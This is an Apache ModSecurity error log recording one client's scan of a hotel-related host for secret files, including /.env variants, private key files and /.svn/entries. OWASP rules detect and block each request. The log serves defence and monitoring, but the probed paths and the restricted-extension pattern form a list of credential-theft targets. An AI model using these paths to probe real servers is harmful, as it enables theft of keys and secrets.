[Mon Oct 26 10:03:27.483222 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at9dr7cZuT5gdeNd6aUKBQAAAAs"]
[Mon Oct 26 10:03:27.483512 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at9dr7cZuT5gdeNd6aUKBQAAAAs"]
[Mon Oct 26 10:03:27.483726 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmIAAAAA4"]
[Mon Oct 26 10:03:27.483878 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmIAAAAA4"]
[Mon Oct 26 10:03:27.484082 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmIAAAAA4"]
[Mon Oct 26 10:03:27.484514 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at9dr7nmpHTSsAiKbb2bywAAAAc"]
[Mon Oct 26 10:03:27.484904 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at9dr7nmpHTSsAiKbb2bywAAAAc"]
[Mon Oct 26 10:03:27.485116 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at9dr7nmpHTSsAiKbb2bywAAAAc"]
[Mon Oct 26 10:03:27.485496 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at9dr7GXTlA520hhAgG7_QAAAA8"]
[Mon Oct 26 10:03:27.485769 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at9dr7GXTlA520hhAgG7_QAAAA8"]
[Mon Oct 26 10:03:27.485985 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at9dr7GXTlA520hhAgG7_QAAAA8"]
[Mon Oct 26 10:03:27.497700 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at9drwt8dJFpdHay4jzKiQAAAAA"]
[Mon Oct 26 10:03:27.497942 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at9drwt8dJFpdHay4jzKiQAAAAA"]
[Mon Oct 26 10:03:27.498159 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at9drwt8dJFpdHay4jzKiQAAAAA"]
[Mon Oct 26 10:03:27.512140 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at9dryDi6FEnz4zo40NheAAAAAk"]
[Mon Oct 26 10:03:27.512681 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at9dryDi6FEnz4zo40NheAAAAAk"]
[Mon Oct 26 10:03:27.513069 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at9dryDi6FEnz4zo40NheAAAAAk"]
[Mon Oct 26 10:03:27.524122 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at9dr8fzpoBm8xCXttklRwAAABA"]
[Mon Oct 26 10:03:27.524329 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at9dr8fzpoBm8xCXttklRwAAABA"]
[Mon Oct 26 10:03:27.524620 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at9dr8fzpoBm8xCXttklRwAAABA"]
[Mon Oct 26 10:03:27.535456 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at9dr09qPMNS87qzj5gkNwAAABE"]
[Mon Oct 26 10:03:27.535650 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at9dr09qPMNS87qzj5gkNwAAABE"]
[Mon Oct 26 10:03:27.535908 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at9dr09qPMNS87qzj5gkNwAAABE"]
[Mon Oct 26 10:03:27.535967 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at9dr09qPMNS87qzj5gkNwAAABE"]
[Mon Oct 26 10:03:27.535981 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at9dr09qPMNS87qzj5gkNwAAABE"]
[Mon Oct 26 10:03:27.537089 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmIQAAAA4"]
[Mon Oct 26 10:03:27.537290 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmIQAAAA4"]
[Mon Oct 26 10:03:27.537570 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmIQAAAA4"]
[Mon Oct 26 10:03:27.539432 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at9dr7cZuT5gdeNd6aUKBgAAAAs"]
[Mon Oct 26 10:03:27.539685 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at9dr7cZuT5gdeNd6aUKBgAAAAs"]
[Mon Oct 26 10:03:27.540045 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at9dr7cZuT5gdeNd6aUKBgAAAAs"]
[Mon Oct 26 10:03:27.541113 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at9drwt8dJFpdHay4jzKigAAAAA"]
[Mon Oct 26 10:03:27.541482 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at9drwt8dJFpdHay4jzKigAAAAA"]
[Mon Oct 26 10:03:27.541722 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at9drwt8dJFpdHay4jzKigAAAAA"]
[Mon Oct 26 10:03:27.543675 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9dr7GXTlA520hhAgG7_gAAAA8"]
[Mon Oct 26 10:03:27.543857 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9dr7GXTlA520hhAgG7_gAAAA8"]
[Mon Oct 26 10:03:27.544102 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at9dr7GXTlA520hhAgG7_gAAAA8"]
[Mon Oct 26 10:03:27.557654 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at9dryDi6FEnz4zo40NheQAAAAk"]
